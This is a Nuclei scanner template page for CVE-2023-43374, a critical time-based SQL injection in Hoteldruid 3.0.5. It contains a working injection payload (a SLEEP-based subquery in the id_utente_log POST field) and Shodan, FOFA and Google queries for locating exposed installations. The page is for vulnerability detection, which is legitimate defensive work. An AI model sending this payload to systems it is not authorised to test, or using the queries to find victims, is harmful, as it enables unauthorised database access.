Hoteldruid v3.0.5 - SQL Injection

ID: CVE-2023-43374

Severity: critical

Author: ritikchaddha

Tags: time-based-sqli,cve,cve2023,hoteldruid,cms,sqli,digitaldruid

Description

Hoteldruid v3.0.5 was discovered to contain a SQL injection vulnerability via the id_utente_log parameter at /hoteldruid/personalizza.php.

YAML Source

id: CVE-2023-43374

info:
  name: Hoteldruid v3.0.5 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    Hoteldruid v3.0.5 was discovered to contain a SQL injection vulnerability via the id_utente_log parameter at /hoteldruid/personalizza.php.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive data or complete takeover of the affected system.
  remediation: |
    Upgrade Hoteldruid to a patched version that addresses the SQL Injection vulnerability.
  reference:
    - https://flashy-lemonade-192.notion.site/SQL-injection-in-hoteldruid-version-3-0-5-via-id_utente_log-parameter-8b89f014004947e7bd2ecdacf1610cf9
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43374
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-43374
    cwe-id: CWE-89
    epss-score: 0.00735
    epss-percentile: 0.80777
    cpe: cpe:2.3:a:digitaldruid:hoteldruid:3.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: digitaldruid
    product: hoteldruid
    shodan-query:
      - title:"HotelDruid"
      - http.title:"hoteldruid"
      - http.favicon.hash:-1521640213
    fofa-query:
      - title="HotelDruid"
      - title="hoteldruid"
      - icon_hash=-1521640213
    google-query: intitle:"hoteldruid"
  tags: time-based-sqli,cve,cve2023,hoteldruid,cms,sqli,digitaldruid
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /hoteldruid/inizio.php HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: body
        words:
          - "HotelDruid</a>"
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /hoteldruid/personalizza.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        aggiorna_qualcosa=SI&anno=2023&attiva_phpr_log=Enable&id_sessione=1&id_utente_log=0'%2b(SELECT%207151%20FROM%20(SELECT(SLEEP(5)))EAXh)%2b'&id_utente_mod=1

    matchers:
      - type: dsl
        dsl:
          - 'duration>=5'
          - 'status_code == 200'
          - 'contains(body, "HotelDruid:")'
        condition: and
# digest: 490a0046304402202c33d57c163446c4ebd57505f294a536ea095f53c2cddc67b466f354cdf14c6102204a097dc904e8c043cb4113f92e93c60e97fea92f42d244e25ba634e8208b8cc4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-43374.yaml"

View on Github